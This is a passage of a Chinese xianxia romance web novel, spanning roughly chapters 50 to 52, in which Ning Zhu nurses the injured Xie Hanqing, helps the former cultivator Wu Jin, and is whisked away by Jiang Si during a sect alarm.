谢寒卿抬起手背,随意抹掉唇角的血,下了榻。 衣衫上狼藉的血渍消失,谢寒卿眸光平静,整个人又成了那位光风霁月的天玑山首徒。 “表兄为何在此。” 谢寒卿的目光落在镜面碎裂的窥神镜上,语气中带了一丝抱歉:“我会去寻找夜莹石修补镜面。” 话音落,屋子里一片安静。 姜思无忽然开口:“你要对我用搜神术么?” 小仙君睫羽低垂,沉静得好似一副画。 姜思无气不打一处来:“你我皆是化神期,搜神术在同修为间使用本就更加困难,更何况你现下神魂缺失不稳,你是不要命了不成!” 见谢寒卿不言不语,姜思无无奈道:“你同我说实话,你的神魂到底是怎么回事,我帮你保密。” 姜思无此人,平日里虽浪荡成性,遇到大事却向来靠谱。 谢寒卿沉默片刻,淡声将宁竹被红丝附身,自己以神魂帮她压制红丝的事情告诉了他。 姜思无惊得险些跳起来:“分裂元神,还强行叫你的元神和宁竹的融为一体?!” “谢寒卿,你是疯了不成!!” 谢寒卿淡淡说:“当时在白家借用过他们的法器,宁竹体内的红丝与昆仑山有关,这段时日我曾去过昆仑山几次,并无收获。” “归墟马上就要开启,待我寻到音希山神鸟,自可弄清楚红丝的由来,届时再将我的元神收回便是。” 姜思无的心情实在难以形容。 这桩桩件件,无不惊世骇俗。 但从谢寒卿口中讲出来,便叫人不得不信服——他做得到。 虽然每一件都难于登天,但他是谢寒卿。 姜思无摇头苦笑。 他旋即正了脸色:“你如今到底是神魂残缺的状态,且不说归墟凶险,若被你师尊看出端倪来怎么办?” 谢寒卿的目光轻飘飘落在碎了一地的窥神镜上。 姜思无跳脚:“若不是我寻来窥神镜,还真不知道你这般惊世骇俗!” 谢寒卿一言不发。 姜思无败下阵来:“好好好,你好好养伤,你伪装得太好,就是你师尊也没那么容易看出来的,这面窥神镜就先这样坏着吧。” 他嘟囔:“只是你别忘了你们天玑山也有一面窥神镜的。” “找机会毁掉便是。”谢寒卿说。 姜思无头痛欲裂瞥他一眼。 他幼时就知道谢寒卿压根不像长辈口中那般 乖顺,只是没想到他如今竟这般,这般…… 唉,算了。 姜思无问:“既然知道自己神魂不稳,怎么还那么不小心,受那么重的伤?” 以谢寒卿的修为,能伤他至此的又能有多少人? 谢寒卿没有回答,只是说:“宁竹呢?” “在外面呢,宁师妹怎么……” 谢寒卿已经起身,推门出去了。 宁竹坐在一块石头上,揪着手中竹叶。 一片,又一片,脚边堆了翠叶无数。 忽有一道淡色的影投映在她面前。 宁竹动作僵硬了片刻,猛然回过头。 竹影斑驳,落在他如雪的白袍上。 小仙君眉如晓山,眼似寒潭,静静伫立在她身后。 宁竹唰的站了起来:“谢师兄,你怎么出来了?” 少女发间落了一片竹叶。 谢寒卿抬手,想替她摘去竹叶。 宁竹下意识缩了缩脖子,躲开了他的触碰。 谢寒卿的手僵在半空中。 宁竹忙拍了拍头发,像是小狗甩头一样,把那片竹叶甩下来,她小心翼翼看着他:“谢师兄,你的伤好点了没?” 谢寒卿不动声色垂下手,掩住眸中暗色。 少女的眉毛生得很秀气,此时因为担忧轻轻蹙起。 谢寒卿指尖微痒,又生生忍住。 她上上下下打量着自己,好似要将自己看出一个洞来。 谢寒卿什么也没说。 “宁竹。”姜思无走了出来。 宁竹忙道:“姜师兄!” 谢寒卿也看了过来,面色平静,看不出任何端倪。 姜思无的目光在他们二人之间转了一圈。 谢寒卿是想让他说出真相呢……还是不想? 宁竹眼巴巴地盯着他。 姜思无走上前,看着谢寒卿,眼含忧色说:“你这伤若是不好好疗养,如何去得了归墟?” 宁竹霎时紧张起来。 姜思无说:“我托人送来的药,每日两贴,早晚必须得喝。” 他唉声叹气看着谢寒卿:“你这人打小不会照顾自己,要不然我遣一个姜家人来照顾你吧。” 宁竹适时插嘴:“姜师兄,你送来的药要怎么煎?我可以帮忙。” 说来谢寒卿受伤也是因为她,再怎么尴尬,自己也不能坐视不理。 姜思无思索了下:“宁师妹,这药煎起来繁琐,不仅火候难以控制,还需摘取月华最浓时的半地莲三瓣,再取清晨时天心花蕊上的晨露半瓶作引入药,这药寒卿要服用半个月,如此一来负责煎药的人势必会休息不好。” 宁竹说:“攀云峰就有半地莲和天心花,都不必去太素阁的药田取药,不麻烦的。” “就由我来给谢师兄煎药吧!” 姜思无唇角微弯,偏要佯装无奈:“怎可如此,宁师妹还要修炼……” 宁竹眸光笃定:“就交给我吧……谢师兄受伤也是因为我,我会好好照顾他的。” 姜思无有点惊讶。 但他仔细观察宁竹的表情,猜测她应当不知道谢寒卿用元神帮她压制红丝一事。 只是这一次谢寒卿也是为宁竹受伤……这又是怎么一回事? 姜思无懒得探究了。 他伸手拍了拍宁竹的肩:“那寒卿就交给你了,我改日再来探望他。” 姜思无很快离开,只剩下他们两人。 谢寒卿的存在感变得极强。 小仙君身上淡淡的冷香缠绕在宁竹鼻尖,叫宁竹莫名想起了某些不和谐的画面。 她耳尖有点发热,悄无声息拉开一点距离,抬眸看他:“谢师兄,你去休息吧,想吃什么,我给你做。” 风摇竹动,翠羽婆娑。 谢寒卿淡声说:“可以不用勉强自己的。” 宁竹的杏眼微微睁大。 但很快,那双清而亮的眼仿佛被某种决心占据,她一字一句说:“没有勉强。” 只是一场意外。 谢师兄是君子,只要她假装没发生过,他也会假装没发生过的。 宁竹盯着谢寒卿的眼睛,认真说:“谢师兄想吃什么,我给你做点儿灵食。” 谢寒卿也回望着她。 “琼浆饮。”他忽然说。 宁竹愣了下。 谢寒卿:“你的洞府就有,我很久之前就想尝一尝了。” 宁竹弯眼笑起来:“琼浆饮配着酸梅饼最好不过,要不要也吃上一点儿?” “好。” 宁竹开心起来:“谢师兄你等等,我去取一下!” 谢寒卿目送她跳上飞剑朝着自己洞府飞去,垂下眼眸。 怀卿剑在他体内蠢蠢欲动。 想追上去。 每时每刻,都想将她笼罩在自己的视线中。 另一道声音在说,别急,她会回来的。 会回来的,只是取个东西而已,他只需要在这里等她。 ……会回来么? 谢寒卿抬起头。 宁竹已经消失不见。 怀卿破空而出,谢寒卿足尖一点飞上剑来,无声跟了上去。 宁竹心情很好。 平心而论,她一点儿也不想和谢寒卿闹僵。 毕竟是男主诶,和男主闹僵又没有什么好处。 现在这样最好啦,就当没发生过那件事,他们还是朋友! 宁竹哼着小曲儿,回了屋子一趟。 她思索了一会儿,把之前做好的各种饮子点心都拿了一份走。 药的味道可不好,吃点别的压压药味也不错。 正打算出门,一道传音符飘落在宁竹面前。 无烬的声音从里面传来:“宁竹,房子起火了。” 语气平淡,毫无波动起伏。 宁竹却险些跳起来,什么叫房子起火了?! 她抛出飞剑,猛地一个加速往幽冥集市赶去。 宁竹自然没发现立在矮岩后谢寒卿。 淡色的瞳微微转动了下,谢寒卿也踏上怀卿剑,跟着她飞了出去。 宁竹急吼吼冲到幽冥集市,预想中火光冲天的场景没出现。 直到她推开大门,才闻见一点点糊味。 宁竹寻着味道一路冲过去,无烬就在站在灶房里,试图泼水浇灭正在熊熊燃烧的灶台。 只是无论他怎么泼水,火焰都浇不灭。 注意到宁竹,无烬无辜地转头看她:“你来了。” 宁竹探头一看,险些气笑了。 她低头翻了一会儿乾坤袋,取出一袋硼砂,哗一下浇到了灶台上。 火焰鼓动了几下,偃旗息鼓。 无烬静静看着她动作。 宁竹抹掉额头的汗,胸膛起伏:“琉碳耐烧持久,遇水不灭,只需要取一块就能烧上足足七日,每次若是中途不用,用硼砂盖住就是……” “你怎么一次性加了十几块!” 无烬认真地点点头。 宁竹哽了下:“这是常识诶,你之前不会生火做饭吗?” 无烬沉默了下:“我……已辟谷百年之久了。” 其实他想说,哪怕灵根被废成为堕修,但因为那只古怪的兔子,他一直不用进食。 只是在她面前,他忽然想瞒下这些古怪。 宁竹大吃一惊:“什么?” 等等,好像她确实没问过无烬的过去。 可是他看上去不过只有十四五岁,居然已经结丹百年了? 可是……他不是堕修吗? 堕修灵根被废,理论上已经成了凡人,为什么还能维持辟谷?为什么还能维持少年的容貌? 宁竹狐疑地看着他。 灶房里很是狼藉。 无烬默默进去收拾。 宁竹站在门口,看着少年蹲在地上,徒手将洒落的硼砂清扫归拢。 他打扫得很仔细。 稀疏天光深深浅浅落下,映在少年青涩又老成的侧脸上。 宁竹叹了口气,走进灶房,她取来挂在墙上的小扫帚,将硼砂扫到簸箕里:“硼砂有一定腐蚀性,别用手直接碰,用这个。” 打扫好之后,宁竹打开旁边放着的一只黑色坛子,将硼砂倒进去:“硼砂可以反复利用,每次用完倒在这里就是。” 宁竹注意到灶台边上放着两枚鸡蛋,已经磕破了,蛋液流了一地。 她问:“想吃煎蛋吗?” “……煎蛋面。” 无烬指着结了厚厚一层灰烬的锅:“面已经烧糊了。” 宁竹很是怀疑:“你做的面?” “外面买的。”无烬老实说:“我不会揉面。” 宁竹无奈:“那为什么不直接在外面吃。” 这一次无烬沉默了很久。 最后终于开了口:“生辰要吃面。” 许久之前,欢娘每年生辰都会给他做一碗长寿面。 上一次……好像已经是十几年前了。 他比任何人都清楚,欢娘早就已经是一只怪物了。 这些年,愈演愈烈。 无烬平静地拿过锅,要端出去涮洗。 宁竹没有拦他。 无烬蹲在井边,一下又一下,刷得很用力。 从有记忆以来,家里的琐事都是欢娘在做。 小时候他也尝试过帮她做饭洗衣,却总是搞砸。 后来他觉醒了灵根,成为天玑山弟子,再也不用做这些琐事。 辟谷之前,天玑山有食舍。 衣服脏了,抛一个洁净诀就是。 第一次学会洁净诀,他兴冲冲在欢娘面前施诀,却因为掌握不够熟练,只把脏碗变干净了一半。 欢娘笑得直不起身:“你们这法 诀也不过如此嘛。” 他气鼓鼓说:“等我再练习练习,可以一次清理一百只碗碟。” 欢娘蹲在井边刷碗,笑盈盈说:“是啊,我们阿烬未来还长着呢,有的是时间练习。” 她眉眼间浮现出惆怅,又仿佛是他的错觉。 欢娘笑着说:“等你把洁净诀掌握熟练了,姐姐就把所有碗碟都留给你洗。” 后来他忙于修炼,去看欢娘的时间变得越来越短。 每次都是匆匆给她留下一些钱,连饭都来不及吃上一顿便离开,直到欢娘堕魔,他们在外逃亡百年…… 可惜他已成堕修,再也用不了洁净诀了。 无烬手下用力,手指都变得一片通红。 忽有一双精致的白靴出现在他面前。 无烬抬头。 “……谢道友。” 鹤骨松姿的小仙君立在他面前,忽然开口:“还想修道么。” 无烬手下动作一顿。 谢寒卿:“往事已矣,你就打算呆在此处苟且余生?” 无烬的眸中浮现出迷茫:“……我已成废人。” “若真是凡人之躯,岂能存活百年?” 无烬瞳孔一缩:“……你看出来了。” 谢寒卿摇头:“百年前掌门道宇真人座下天才弟子亲手弑杀师兄,带着半妖半魔的姐姐叛逃师门。” “那个被除名之人,就是你吧。” “我在潜入魔域时听到旁人议论,魔尊诛杀了一只人面蛛妖,便猜到你就是那个弟子。” 谢寒卿的目光落在他身上:“我只是好奇,凡人之躯,为何能容颜永驻?” 不同于面对魔尊时走投无路的心态,无烬没有过多犹豫,就告诉了谢寒卿他的秘密。 谢寒卿表情分毫不变,只是问:“那兔子可有其他古怪之处?” 无烬回忆:“当时我和欢娘被人追杀,一路躲藏到深山之中……” “说来的确奇怪,那兔子所在之地,方圆数百里竟无任何猛禽,也无妖兽。” “我和欢娘吃下兔子之后,足足昏睡十日之久,期间也没有妖兽靠近。” 谢寒卿:“可还记得发现兔子的地方?” “是昆仑山。” 无烬记得很清楚:“昆仑山妖兽频出,寻常人不敢踏入,当时我和欢娘被一个厉害的修士追杀,走投无路之下才避入昆仑山。” 谢寒卿眉心微跳。 又是昆仑山。 他按下心中猜测,对无烬说:“此事还有谁知道?” “……魔尊。” 无烬垂下眼,一副不愿再多说的模样。 谢寒卿也不欲追根问底。 “你体质特殊,既然魔尊已经知晓,必会引来窥伺。” “留在这里,会给宁竹招来麻烦。” 无烬背脊绷紧。 他……知道的。 他只是想好好跟宁竹告别再离开。 谢寒卿:“你可愿前往淮水?我会为你重新安排一个身份。” 无烬僵硬了片刻,倏然抬眸:“……可以吗?” “身怀秘密者,只有变得更强大,才能保护自己。”谢寒卿声音很淡。 无烬空洞的眼一点点变得明亮起来。 他忽然弯腰,郑重朝谢寒卿行礼:“谢道友……我想去淮水。” 谢寒卿颔首:“先在这里等候消息。” 就在这时,一道传音符飘到谢寒卿面前。 传音符还未碎裂开,谢寒卿先一步将符箓笼到手中。 他踏上飞剑,对无烬说:“不要告诉任何人我来过。” 无烬呆呆点头,看他飞走。 谢寒卿御剑飞到高处,笼罩在掌心的传音符化为齑粉,宁竹的声音传出来:“谢师兄,我这边有事绊住了,我先派仙鹤把吃食送过去了,我一会儿再回来!” 云雾渺渺,谢寒卿垂眸看向下方的宅院。 无烬转身朝着灶房走去,在看到挽起袖子揉面的宁竹时一愣。 少女脸颊上沾了点儿粉末,笑眼弯弯回过头来:“你坐着吧,我给你做碗生辰面。” 宁竹指着放在一旁的鸡蛋:“三个煎蛋够不够?还是要四个?” 风大,她的声音也被吹得断断续续。 谢寒卿听到无烬轻声说:“……谢谢。”《 》 50-55 第51章 宁竹陪着无烬用了一碗面, 离开的时候,天色已经黯淡下来。 天际还透着些赤红橙紫,飞鸟成群,跃过茫茫云海。 她使出最快的速度一路往攀云峰赶。 流烟剑落在无咎洞府门口。 宁竹长驱直入, 脚步忽然慢下来。 屋里点了灯, 灯火昏黄, 少年仙君纤薄落拓的剪影落在窗棂上。 他屈膝而坐, 眉眼唇鼻线条青隽, 就连发上缠绕的天玄离尘带都弯折出漂亮的弧度。 宁竹站在门口欣赏了一会儿。 到底是男主, 谢寒卿他没有一处不是完美的。 想到这里, 宁竹又不禁感到罪大恶极。 好险好险,险些他这颗大白菜就被自己拱了。 “为何不进来。”清冷的声音响起。 宁竹咳嗽了一声:“我进来啦。” 谢寒卿正在翻看一本剑谱。 桌案上放着一碟酸梅饼, 还有一壶已经冲泡好的琼浆饮。 一看就还没动过……他在等自己吗? 宁竹有点愧疚,把手中油纸包放下:“谢师兄, 我路过幽冥集市, 买了一些芡实糕,这家很出名,你尝尝?” 她打开油纸包,又倒出两杯琼浆饮, 推到他面前。 谢寒卿从善如流,用了一块酸梅饼,一块芡实糕,又喝了一口琼浆饮。 动作行云流水,赏心悦目。 只是……他唇角沾了一点白色的碎屑。 宁竹咳了一声:“谢师兄, 这里。” 她指指他的唇。 谢寒卿眸色剔透,平静地看着她。 宁竹哽了下,再度开口:“那里, 沾了点心碎屑。” 小仙君伸出舌尖,轻轻舔了下唇角。 唇舌柔软,水光莹莹,是淡粉的色泽。 ……亲吻时,如同裹了霜雪的流樱花瓣,会在翻搅中被蹂躏出花汁,余味清甜。 宁竹的脸霎时烧了起来。 她砰地站起身,结结巴巴说:“我去采半地莲。” 宁竹飞快溜了出去,颇有些落荒而逃的意味。 屋里,谢寒卿垂眸,看不出在想些什么。 直到跑出无咎洞府,宁竹的心脏都还在砰砰直跳。 她甩了甩脑袋脑袋,试图将那些乱七八糟的画面甩出去,可惜无济于事。 被他扣住后脑,索吻到几乎窒息的画面历历在目。 宁竹尴尬得捂住脸,哀嚎不已。 为什么要脑子一热接下这个活啊!! 还不到月华最盛的时候。 宁竹蹲在地上,一边观察着月色,一边拿着树枝狠狠戳着土。 是她思想不纯洁。 分明当时是因为噬魇兽的影响,两人都处在不理智的状态。 可是只要一安静下来。 宁竹脑子又会控制不住地浮现出那些限制级的画面。 若不是知道谢寒卿一直到最后都是童子身,宁竹真的会以为……他身经百战。 有的人,表面看起来清清冷冷,无欲无求,实际上…… 啪。 手中树枝被弯折到某种不可思议的角度,忽然撅断。 宁竹的脸再度可耻地红了。 果然当时马不停蹄溜去魔域是正确的。 至少人在忙碌的时候是不会有心思思索这些事情的。 不行。 谢寒卿这药得服用半个月,便意味着自己要跟他单独相处半月之久。 已经答应下来的事情不好反悔,她得想个办法…… 片刻后,宁竹眼眸一亮。 她抛出飞 剑,急吼吼去了太素阁一趟。 回来的时候,正值月华正浓时。 宁竹精心摘下三瓣漂亮半地莲。 半地莲夜晚开放,晨曦时分凋谢,是一种十分娇气的灵植。 宁竹小心翼翼带着半地莲折回无咎洞府。 到门口时,她停顿了片刻,取出一瓶丹药,往嘴里倒了几颗。 高阶清心丹,可暂时封闭感官,压制情绪,许多修士都会在破境的时候服用。 丹药在舌尖化开,沿着血液游走。 宁竹很快感到了前所未有的平和。 竹林的清香消失不见,风声沙沙也变得遥远,宁竹仿佛被罩到一枚罩子中,隔绝了外界的嘈杂,识海平静,心神澄明。 宁竹抬起头,迈着自信的步伐踏入了无咎洞府。 谢寒卿不知为何,竟在院中。 院里种着一棵上了年岁的流樱花。 夜色为粉白的花瓣渡上一层如墨的蓝,白衣仙君伫立在满地残花中,衣袍鼓动如鹤翅招展。 听见响动,谢寒卿回过头来。 他的眉眼在夜色中显得有些模糊,便少了清冷孤绝之姿,多了三分破碎朦胧之感。 惹人垂怜。 谢寒卿开口,嗓音如潺潺春溪:“宁师妹。” 在这样一个花香弥漫的春夜,一切都是躁动的,暧昧的。 仿佛有人在轻轻拨动琴弦,余音震荡心湖,每一个眼神都变得粘稠。 宁竹对上谢寒卿的目光。 片刻后,她冷淡点点头,从他身边,大步走过。 没有故作姿态,没有刻意为之,整个人平静得像是路过了一截木头。 谢寒卿盯着她的背影,蹙起眉头。 宁竹径直走到了灶房。 其他药材姜思无早已备好,宁竹有条不紊烧水,放药材,待到水沸,将半地莲小心翼翼放了进去。 花瓣打着旋儿,沉沉落到水中,很快变得透明。 宁竹满意地点点头,控制火候,让药慢慢煎着,从乾坤袋里拿出一只滴漏,又掏出一只加了软垫的小板凳,坐到上面开始编剑穗。 哪怕服用了清心丹,宁竹赚钱的欲望也没有被浇灭。 珠玑阁的剑穗都快要被她承包了,宁竹熟练地打了个结,收尾,再度取出一些材料开始编。 滴漏发出清脆的响声。 宁竹抬头看了一眼天色,收起板凳和还没编织完的剑穗,又看了一眼火候,准备出门采天心花蕊上的晨露。 只要把晨露加进去,这药就算好了。 到时候把药端给谢寒卿,便可以回去睡觉了。 宁竹揉了揉眼睛,走出灶房。 跨过门槛,她忽然撞上一个人。 若是平日,她定然会被吓一跳。 但现在,宁竹只是淡然地抬头。 是谢寒卿。 他不知道在这里站了多久,身子很冰,脸色似乎更加苍白了。 谢寒卿蜷起手,握在唇边轻轻咳了几声。 宁竹拧眉:“谢师兄,你有伤在身,为何不好好歇息,要出来走动?” 谢寒卿正想开口。 宁竹已经推开他,往前走去。 走了几步,仿佛又想到什么,宁竹回头,用平淡的语气说:“我要去采药了,谢师兄请回去好好歇息。” 她很快离开。 谢寒卿站在檐下,若有所思看着她的背影。 是清心丹么。 ……需要封闭五感,压制情绪么? 谢寒卿冷淡的眼瞳微微波动,眉眼渐渐舒展开,露出一个极淡的笑意。 转瞬即逝。 宁竹采集好半瓶花露回到灶房时,天色还未彻底亮起。 绚烂霞光映得满院一片彤红,灶上缥缈的水汽四散开,药香清苦。 宁竹将花露倒入其中,用灵力将药迅速变温,端着煎好的药敲响了谢寒卿的房门。 屋里无人回应。 但姜师兄交代了,必须在早晨服下。 宁竹不作他想,推开了房门。 谢寒卿半靠在床榻上,不知是何时睡着的,手中还卷着一册书。 又没好好休息吗? 宁竹走过去,拿走他手中的书。 是一卷古籍,上面记载着许多与魔修相关的东西。 宁竹翻看了两页,看向疲惫睡去的谢寒卿。 自魔渊开口,这些时日谢寒卿一直很忙,奔波四地,探查魔气,诛杀魔修。 朔月之后他又来了魔域一趟将自己带出来。 多天连轴转,饶是他也扛不住。 宁竹叹了口气,将药放到一旁,用灵力温着。 让他再睡一会儿吧。 宁竹坐到床榻边,继续掏出剑穗来开始编。 其实宁竹也很疲惫了。 在魔域那么久没睡过一个好觉,回来便开始忙着给谢寒卿煎药。 眼皮越来越重。 宁竹摇了摇头,强迫自己清醒过来,但还是无济于事。 不知道是什么时候睡着的。 仿佛只是打了一个盹,又仿佛睡了很久很久。 宁竹再次迷迷糊糊醒来时,嗅见满怀冷香。 周遭一片暗色,视野很差。 宁竹一点点抬起头,冷白锋利的下颌撞入眼帘。 如遭当头棒喝,宁竹抬手便去推怀中人。 小仙君眉头微微蹙起,手臂环在她的腰上,将她缠得更紧。 两人青丝交缠,呼吸相闻,如同一对爱侣紧紧相拥。 宁竹的心脏疯狂跳动起来,血液逆流,喉头发干,好像清心丹已经失效了。 她心底哀嚎,强烈谴责自己的不靠谱。 她也不知道自己是怎么到床榻上来的!她真的不是故意的啊!! 少年仙君胸膛宽阔而坚硬,轻而易举将她囚困于其间。 宁竹不敢太用力,生怕他醒来,到时候又是百口莫辩。 她只好背过手,一点点掰开他的手臂。 好在谢寒卿似乎是睡熟了,没什么太大的反应。 宁竹在心底给自己鼓气,继续挪动他的手臂。 好不容易从他怀里挣脱时,宁竹已是满头大汗。 正要溜下榻,身后之人忽然再度长臂一展,将她抱回怀中。 小仙君微微蜷缩着身子,额头抵在她的颈窝之中,绵长滚烫的呼吸尽数洒落在宁竹皮肤上。 酥麻不堪,如同万蚁啃噬。 一如那天晚上,在她脖颈、肩头落下的细碎的吻。 宁竹脑子一片空白,狠狠推开谢寒卿,飞身下榻。 她不管了! 吵醒谢寒卿的话她就说他是在做梦! 宁竹一口气退到桌案边,胸膛起伏,见谢寒卿还在熟睡,总算是松了一口气。 外面天色已经暗下来,太阳都落山了! 宁竹无奈地看向还在被灵力温着的药,认命地叹了一口气。 宁竹把药倒掉,留了一道传音符。 一会儿再来重新煎药吧,她一定要设一个滴漏!这次一定要让他把药喝掉!! 宁竹一脸怨气离开了无咎洞府。 床榻之上,谢寒卿睁开了眼睛。 眼神清明,哪有半分睡意。 他捏碎传音符,宁竹的声音传来:“今天的药已经失效了,明天再来给你煎药。” 似乎能听出来几分气急败坏。 睫羽微垂。 谢寒卿低头,嗅着床榻之上……属于她的那抹残香。 宁竹御剑穿梭在云层中,没捏防风诀,冷风呼啦啦拍在她脸上,将头发都吹得一片凌乱。 她需要好好冷静下。 思索片刻,宁竹调转飞剑往太素阁飞去。 今日值守的是陈长老座下的弟子。 还带着婴儿肥的弟子正在挑拣药材,忽然看见一个头发乱蓬蓬的女修怒气冲冲走进来。 那弟子吓了一跳:“这位……师姐?” 宁竹随手抓了一把头发:“师弟,你帮我看看这个可是高阶清心丹。” 她将昨夜买下的清心丹推过去。 弟子小心翼翼检查了下:“……是,是啊。” 宁竹长呼一口气:“可还有更高阶的清心丹?” 弟子摇头。 宁竹不死心:“师弟,那还有没有其他与清心丹同效果的药?” 弟子小心翼翼说:“不如师姐每次吃两颗?” 他又好心提醒:“不能超过两颗,不然你会中毒的。” 好主 意。 宁竹伸手拍在桌案上:“师弟,给我再来一瓶!” 宁竹揣着新买的清心丹往自己的洞府飞。 还是没捏诀,她御剑在洞府上方飞了两圈,整个人在风中凌乱。 好不容易躁动的情绪被压下来,宁竹拍了拍脸,跳下飞剑,抬手推开门。 下一秒,她愣在原地。 摇椅上坐着一个绝对不可能出现在此处的人。 宁竹揉了下眼睛,再仔细看去,江似依然好整以暇坐在摇椅上。 他穿了一身黑衣,马尾用一根黑色的发带束住,脸色有些阴沉。 见到她,他也没笑,只是说:“回来了。” 或许是江似出现在这里太过不可思议,宁竹没注意到他的异常,只是惊道:“江似!!你怎么进来的?天玑山不是有禁制吗?” 屋内并未掌灯,浅淡天光映在宁竹身上。 她头发很乱,像是御剑飞行了很久。 飞了很久,也依然能在少女的衣裙上嗅到沾染着的清苦药香……以及属于那个人的味道。 江似的心口疼得要命。 要在一个月时间赶出一具傀儡,就算是他,也是极其耗费心力的事。 更何况他要让那傀儡陪在宁竹身边,必须要精心雕琢。 江似几乎是没日没夜的在赶。 然而就在方才,他感应到了宁竹的……情动。 他在拘银链中注入了一缕神识,他能感应得到她有无危险,也能感应到她剧烈的情绪起伏。 江似以最快的速度赶来,只是她却不在洞府。 屋子里似乎已经很久没人住过了。 那宁竹回来之后……去了哪里? 一切都有了答案。 少女衣裙皱巴巴,头发蓬乱。 那个人的味道,丝丝缕缕缠绕在她身上。 江似站起身,猝不及防将她揽入怀中。 属于她的气息铺面而来,只是可惜……中间夹杂着另一种令人作呕的气息。 少女莹白的耳垂就在唇边。 江似的鼻尖轻轻擦过,强忍含住她耳垂研磨吮咬的冲动。 他哑着嗓子开口:“是啊,天玑山的禁制,真难闯。” 话音落。 一道贯彻千山的铃声响起,足足三声。 宁竹脸色煞白。 只有大事发生的时候,宗门才会响传音铃。 铃声越多,事态越紧急。 宁竹自入门以来,从未听过铃响。 江似曾亦是天玑山弟子,又怎会不知这铃声代表着什么。 他啧了一声,偏头对宁竹说:“看来有麻烦了。” 宁竹推他:“你快跑啊。” 江似看她一眼,带着人原地消失。 几乎是他们消失的下一刻,谢寒卿便出现在宁竹洞府前。 夜色沉沉,数道飞剑划过云层。 “警戒!有魔修闯入!” “有魔修闯入!” 谢寒卿看着空无一人的屋子,眼瞳微微透出红色。 千万缕颜色各异的气体出现在眼前。 他寻觅着那道熟悉的粉色。 然而下一秒,他瞳孔一缩。 属于宁竹的气息……被人为遮蔽了。 宁竹哎哟一声摔到水中。 仍是春夜,河水冰凉刺骨,宁竹一个激灵,呼吸都凝固。 好在很快有人给她施了诀,四肢温暖起来,宁竹抓着江似从水中冒出来,大口大口喘气。 两人成了落水狗,好不狼狈。 宁竹抹了把脸:“你这千里遁地符咒设的地点也太歪了!!” 江似托着她的腰,带人往河边游,黑沉的眼被水浸过后,如同黑曜石一般。 两个人都被河水浸湿,宁竹身上的味道淡去,只剩下河水冰凉潮湿的味道。 他眉眼愉悦地舒展开:“是啊。” 宁竹环顾四周:“这是到哪里来了?” 他们现在身处一片枯林之中,河水如玉带环绕着这片枯林,不知何时月亮都已经升起,月色浮在河面之上,波光粼粼。 江似没有回答,月色倒映在少年黝黑得过分的眼中,他仿佛漫不经心问:“是谁受伤了吗?你身上有药味。” 宁竹施诀烘干两人的衣服:“是谢师兄。” “他的魔域受伤了,我总不可能坐视不理。” 江似语气中有几分嘲讽:“何必要你为他亲侍汤药?” 宁竹瞪他:“谢师兄是为了救我出魔域才受的伤。” 她不想继续这个话题:“你怎么闯进的天玑山?来找我是有什么急事吗?” “想见你,所以来了。” 宁竹动作一顿。 江似死死盯着她,仿佛想从她脸上看出一丝一毫变化。 宁竹只是蹙起眉头:“你不是胡闹嘛,今时不同往日,天机山的禁制……” 她叹了口气:“有没有受伤?” 江似垂下眼睫。 他忽然抬手,抓住宁竹的指尖,像是孩子一样轻轻摇了摇,“嗯,很痛。” 宁竹这下是真紧张起来了,她表情严肃:“伤在哪里了?我看看?” 江似没有放开她的手。 他抓着她的指尖,一点点拉向自己的胸口,按在自己的心脏处。 两人的手指都很冰。 江似用黝黑的眼盯着她:“这里。” “这里很痛。”他说。 第52章 宁竹抬手拨开了江似的衣领。 少年肌肤冷白, 在月色下泛出一种如玉的质地。 什么伤也没有。 宁竹反手狠狠敲了一下他的头:“别嘴贫了!到底伤在哪里了?” 江似的眼眸透着几分湿。 睫毛颤抖了下,他低声笑起来,漫不经心合拢衣领:“骗你的,没有受伤。” 宁竹却抓着他的袖子检查了起来。 按到他右臂的时候, 江似嘶了一声。 宁竹飞快卷起他的衣袖, 看到了上面那道皮肉翻卷, 深可见骨的伤痕。 她柳眉倒竖:“这叫没有受伤?” 江似瞥了一眼。 没想到那看守弟子还有几分本事, 他以为只是划破了点皮。 江似便笑:“嗯, 受伤了。” 宁竹上前一步拉住他的袖子:“走。” 江似没有反抗, 任由她拉着自己, 跳上飞剑。 两人很快飞到了幽冥集市的那间偏宅。 江似垂下眼,看着下方的宅院。 宁竹拉着他直直跳到院落中。 江似慢悠悠道:“擅闯民宅不太好吧。” 宁竹转头看他:“这就是我给你准备的宅院呀!” 江似定在原地。 院落中栽着大大小小的植物, 已是春日,花团锦簇映入眼帘, 挤挤挨挨充满生气。 檐角挂着风灯, 微微摇晃间叮铃作响,墙角处放着舒服的摇椅,旁边藤木桌上放着一小箩筐零嘴,两只胖嘟嘟的茶杯倒扣在一起…… 很像她在天玑山的洞府。 宁竹此时也有点儿紧张了。 她计划中江似还会有一段时间才过来, 她还有时间再布置下的,没想到他人到的那么快。 宁竹不自然地咳嗽了一声:“还没收拾好呢。” 江似的眉眼却一点点变得柔和。 “这宅子,真是为我准备的?” 宁竹正要开口,忽有一道声音横插而入:“宁竹。” 江似循声望去,无烬从屋子里出来, 空洞的眼微微起了波澜。 他快步走上来:“你怎么又回来了?” 江似眯起眼。 又回来了? 江似的眼神变得阴翳暴躁,仿佛下一秒就要叫无烬尸首分离。 宁竹忽然张开手,像赶小鸡仔的老母鸡一样, 将无烬往屋子里赶:“无烬我现在有点事儿,你先乖乖回房间里待着。” 砰的一声。 门扉在无烬面前合上。 他茫然地摸了摸鼻子,凑到门边去听。 宁竹的声音传来:“无烬暂时没地方去,所以我让他先住在这里……” 声音骤然消失。 有人捏了隔音结界。 无烬垂下眼,一动不动立在门后。 宁竹也有点尴尬,说好了是给江似准备的宅子,转头却让别人先住了进来。 但房子这玩意儿无论在哪个世界都贵得离谱,归墟马上就要开启,她是真的没闲钱再买一间宅院了。 江似忽然开口:“既然是给我买的宅院,就是我的。” “把他赶出去。” 宁竹正要辩解,江似将一袋子灵石抛到他面前:“重新给他买个宅子,不许他住在这里。” 宁竹张了张嘴。 最终在江似阴恻恻的眼神中败下阵来。 她接过灵石,脸颊微鼓:“进来吧,我给你处理伤口。” 洒了厚厚一层伤药,又打上绷带,宁竹终于开口问:“江似,是不是 发生了什么事?” 少女的眼瞳很清澈,睫毛在眼底垂下一圈淡淡的暗色。 她看着他,目光很平静。 江似直视她的眼:“不是说了么,想见你,所以来了。” 两人对视片刻。 宁竹叹了口气,转身收拾药箱:“下次别这样了。” 她抛出灵火,将染了血的废料烧干净:“这次运气好,没被抓到,下次呢?” 她坐到他对面的椅子上,眼神真挚盯着他:“你如果想见我,就给我递传音符,有空的话我就会来这里,我们在这里见面,好吗?” “不好。” 